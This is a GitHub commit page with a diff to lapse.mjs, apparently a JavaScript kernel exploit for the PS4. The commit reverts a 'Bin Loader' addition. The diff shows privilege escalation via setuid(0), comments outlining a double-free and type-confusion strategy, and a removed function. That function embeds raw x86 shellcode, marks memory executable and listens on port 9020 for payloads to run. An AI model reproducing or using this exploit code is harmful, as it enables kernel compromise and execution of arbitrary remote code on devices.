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Merge pull request #30 from kmeps4/revert-27-main

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Revert "Add Bin Loader "
This commit is contained in:
Kameleon
2025-05-24 13:01:17 -06:00
committed by GitHub
parent 94df0a7786 2abdc1c73f
commit d731d8059d
2 changed files with 27 additions and 69 deletions
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kpatch/900.elf
BIN
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lapse.mjs
+27 -69
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@@ -1594,9 +1594,7 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
log('setuid(0)');
sysi('setuid', 0);
log('kernel exploit succeeded!');
localStorage.ExploitLoaded="yes"
sessionStorage.ExploitLoaded="yes"
//alert("kernel exploit succeeded!");
alert("kernel exploit succeeded!");
}
@@ -1644,64 +1642,6 @@ function setup(block_fd) {
return [block_id, groom_ids];
}
function malloc(sz) {
var backing = new Uint8Array(0x10000 + sz);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz) {
var backing = new Uint8Array(0x10000 + sz * 4);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
function runBinLoader() {
var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0);
var payload_loader = malloc32(0x1000);
var BLDR = payload_loader.backing;
BLDR[0] = 0x56415741; BLDR[1] = 0x83485541; BLDR[2] = 0x894818EC;
BLDR[3] = 0xC748243C; BLDR[4] = 0x10082444; BLDR[5] = 0x483C2302;
BLDR[6] = 0x102444C7; BLDR[7] = 0x00000000; BLDR[8] = 0x000002BF;
BLDR[9] = 0x0001BE00; BLDR[10] = 0xD2310000; BLDR[11] = 0x00009CE8;
BLDR[12] = 0xC7894100; BLDR[13] = 0x8D48C789; BLDR[14] = 0xBA082474;
BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8; BLDR[17] = 0xFF894400;
BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800; BLDR[20] = 0x89440000;
BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2; BLDR[23] = 0x89410000;
BLDR[24] = 0x2C8B4CC6; BLDR[25] = 0x45C64124; BLDR[26] = 0x05EBC300;
BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C;
BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500;
BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400;
BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348;
BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0;
BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F;
BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA;
BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89;
BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949;
BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900;
BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000;
BLDR[60] = 0xC3050FCA;
chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4));
var pthread = malloc(0x10);
sysi('mlock', payload_buffer, 0x300000);
call_nze(
'pthread_create',
pthread,
0,
payload_loader,
payload_buffer
);
log('GoldHEN Already Loaded, BinLoader Is Ready. Send A Payload To Port 9020 Now');
}
// overview:
// * double free a aio_entry (resides at a 0x80 malloc zone)
// * type confuse a evf and a ip6_rthdr
@@ -1718,16 +1658,14 @@ export async function kexploit() {
await init();
const _init_t2 = performance.now();
// If setuid is successful, we dont need to run the kexploit again
try {
chain.sys('setuid', 0);
} catch (e) {
localStorage.ExploitLoaded = "no";
}
if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded!="yes") {
runBinLoader();
return new Promise(() => {});
if (sysi('setuid', 0) == 0) {
log("Not running kexploit again.")
return;
}
}
catch (e) {}
// fun fact:
// if the first thing you do since boot is run the web browser, WebKit can
@@ -1804,6 +1742,22 @@ export async function kexploit() {
}
}
function malloc(sz) {
var backing = new Uint8Array(0x10000 + sz);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = backing;
return ptr;
}
function malloc32(sz) {
var backing = new Uint8Array(0x10000 + sz * 4);
nogc.push(backing);
var ptr = mem.readp(mem.addrof(backing).add(0x10));
ptr.backing = new Uint32Array(backing.buffer);
return ptr;
}
kexploit().then(() => {
@@ -1828,4 +1782,8 @@ kexploit().then(() => {
payload_buffer,
);
})